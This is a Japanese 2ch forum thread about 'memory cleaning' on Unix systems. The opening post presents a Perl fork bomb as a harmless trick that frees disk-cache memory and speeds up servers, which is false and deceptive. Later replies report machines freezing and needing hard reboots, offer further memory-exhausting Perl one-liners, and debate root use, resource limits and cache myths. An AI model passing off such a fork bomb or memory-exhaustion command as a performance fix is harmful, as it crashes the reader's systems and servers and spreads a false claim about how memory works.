X

簡単!メモリクリーニング

1名無しさん@お腹いっぱい。
垢版 |
NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
217212
垢版 |
NGNG
>>213
つまり、plan9と言ってみたかっただけなのね。
plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで
memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。
NGNG
>>216
すまそ。
古いではなく使われていないだった。
swap outされてるやつから順にkillされていく。

>>215
表現が悪かったね。
processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。
NGNG
>>216
それらしい現象をソラリスでみたことがある。
ただしroot じゃなかったが。
NGNG
>>218
それはメモリ(物理+仮想)食いつぶした時の動作じゃないか?
メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった
みたいな。
NGNG
FreeBSDかNetBSDがランダムにプロセス殺すって記事は見たことあるけど
プロセスの重要度なんてカーネルは知らんからね
222名無しさん@お腹いっぱい。
垢版 |
NGNG
Gentoo(gentoo-sources 2.4.20-r5 参考 ttp://www.gentoo.org/doc/ja/gentoo-kernel.xml)
では一般ユーザではとくに問題なし。
ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます)
止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので)
# killall perl
でOK。

ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって
さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣
223
垢版 |
NGNG
訂正です。
>デーモン等は死なないものの、
途中から確認する術が無くなったので、こう言い切るのは無理がありました。
NGNG
なかなか面白いデータの取れるスレですね(w
NGNG
横槍でゴメン。
このスレは、彼も応援してるヨ〜ン。
NGNG
危機管理
NGNG
root で rm -rf / したら全部消えました。は只の大馬鹿者だし
rootで >>1 を動かしたら固まりました、もその仲間ではないか、と。

# sync;sync;sync
NGNG
>>227
rootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。
>>1みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。
いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。
NGNG
>>228
ユーザをrootしか作ってないとか。
友達でLinuxを家のPCに入れてる奴がそうだった。

大学で3年間UNIX使ってたし、
研究室の慣例で1年間、サーバの管理もやってたはずなんだが…
230うひひ
垢版 |
NGNG
>>228-229
でもわかってる香具師はrootでイインジャネーノ?
userにしろrootにしろファイルをパツイチ消しなんて行為は普通しないし
チョイト香ばしいことするときはuserにスイッチするし(うひひ

さすがにモレは素人だから普段はuserで使ってるが
家でも会社でもモレ用のWSには一切passwd入ってねーよ
マンドクセーことはしない
NGNG
>>230
ここは釣れませんよ
232222
垢版 |
NGNG
>>224
データを取るためのスレじゃなかったのでしょうか?(笑
NGNG
>>230
HPユーザ代表つーことで実験結果よろしくw
234うひひ
垢版 |
NGNG
>>233
ペロリっていうのが無いです。どーしようもないでつ
はにゃくメモリクリアしないとスマップもパンクしてしまいそうです
青いヤシでトントンピーとインスツールしたいので緊急に急いでいまつ
おながいしまつ
NGNG
(`-´).oO(酔っぱらってやがる…)
NGNG
>>229
管理者教育をちゃんと受けてないんじゃないのか?

>>230
いや、わかってないからrootではいっちゃうんだろ。

...というのはつられたことになるのか?
NGNG
autologin とか passwd なしは
わかるけど、root で作業というのは違うだろう。
NGNG
>>237
root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。

まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?
NGNG
漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる
業務鯖でrootはちょいとこわいですな
240名無しさん@お腹いっぱい。
垢版 |
NGNG
おれ>>1は知らんけど>>61みたいなやつを会社の実験サーバで耐久テストして
ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。

みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。

NGNG
おまいがやれ
NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃********┃
┃***○●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
243
垢版 |
NGNG
オセロ キタ━━━━━━(゚∀゚)━━━━━━ オヤクソク
NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃***●****┃
┃***●●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
NGNG
なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ
おながいします。
NGNG
取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
NGNG
有意?にちゃんで?






プ
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●○**○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち
NGNG
有意 != 有意義
251名無しさん@お腹いっぱい。
垢版 |
NGNG
linuxのhdparm(8)を見ると、
Dangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもバクハツするわけじゃないだろうし

こういうのを使って
"簡単!ディスククリーニング" は、できないだろうか。
252名無しさん@お腹いっぱい。
垢版 |
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●●●*○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>251
マザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
254名無しさん@お腹いっぱい。
垢版 |
NGNG
Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、

で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK!
NGNG
制限加えてない状態でやると、そうなるだろうねぇ。
NGNG
ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの?
NGNG
gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
NGNG
むしろ、そのノートPCがあやしいかもしれん。
NGNG
>254
会社にある6台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
NGNG
定量的な考察ができない連中ばかりいるのはこのスレですか?
NGNG
>>260
煽りなんだろうけど、いまいち意味がわからない。
NGNG
>>1 で落ちない、というだけでは十分ではない。
263222
垢版 |
NGNG
私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

NGNG
じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
265222
垢版 |
NGNG
運?

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
266訂正
垢版 |
NGNG
ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
NGNG
それはもうこのスレとは無関係の固有問題かと
NGNG
>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
NGNG
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
270222
垢版 |
NGNG
0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
NGNG
結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
NGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....

ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
273名無しさん@お腹いっぱい。
垢版 |
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・

なんでいちいちンなこと実行するんですか?
NGNG
ここに真面目なひとが....
NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
278tatibana
垢版 |
NGNG
>>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい
279あぼーん
垢版 |
NGNG
あぼーん
280名無しさん@お腹いっぱい。
垢版 |
NGNG
結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
NGNG
メモリクリーニングするといいことあるの?
282名無しさん@お腹いっぱい。
垢版 |
NGNG
勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
283名無しさん@お腹いっぱい。
垢版 |
NGNG
>>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
284あぼーん
垢版 |
NGNG
あぼーん
285あぼーん
垢版 |
NGNG
あぼーん
NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
290
垢版 |
NGNG
犬板で割とよくある質問

----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS

freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。

そんなコマンドはないの?

くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
NGNG
>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ?
NGNG
>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
294名無しさん@お腹いっぱい。
垢版 |
NGNG
俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
NGNG
>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
NGNG
cmalloc
297名無しさん@お腹いっぱい。
垢版 |
NGNG
cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
298名無しさん@お腹いっぱい。
垢版 |
NGNG
あはは
299あぼーん
垢版 |
NGNG
あぼーん
300あぼーん
垢版 |
NGNG
あぼーん
301名無しさん@お腹いっぱい。
垢版 |
NGNG
埋めるのなんざmemsetで一発だろ
302名無しさん@お腹いっぱい。
垢版 |
NGNG
free(calloc(N,1));
303あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

NGNG
memsetとかallocとかいってるヤシ・・・

ネタだよね?
NGNG
>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば?
307294
垢版 |
NGNG
>>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね?

>>306
市販パッケージソフトなのでどうにもならないです・・・。
308304
垢版 |
NGNG
>>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。
309あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>307
>C言語の命令

関数だろ、C なら。
311名無しさん@お腹いっぱい。
垢版 |
NGNG
>>310
初心者にむなしいツッコミすんな
312あぼーん
垢版 |
NGNG
あぼーん
NGNG
俺の頭にC言語の命令をとばすのはやめろおお
NGNG
win系はfork関数サポートしてないんじゃなかったっけ?
NGNG
fork関数
fork関数
fork関数

と。
NGNG
>>314 張っとく
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。

ニューススポーツなんでも実況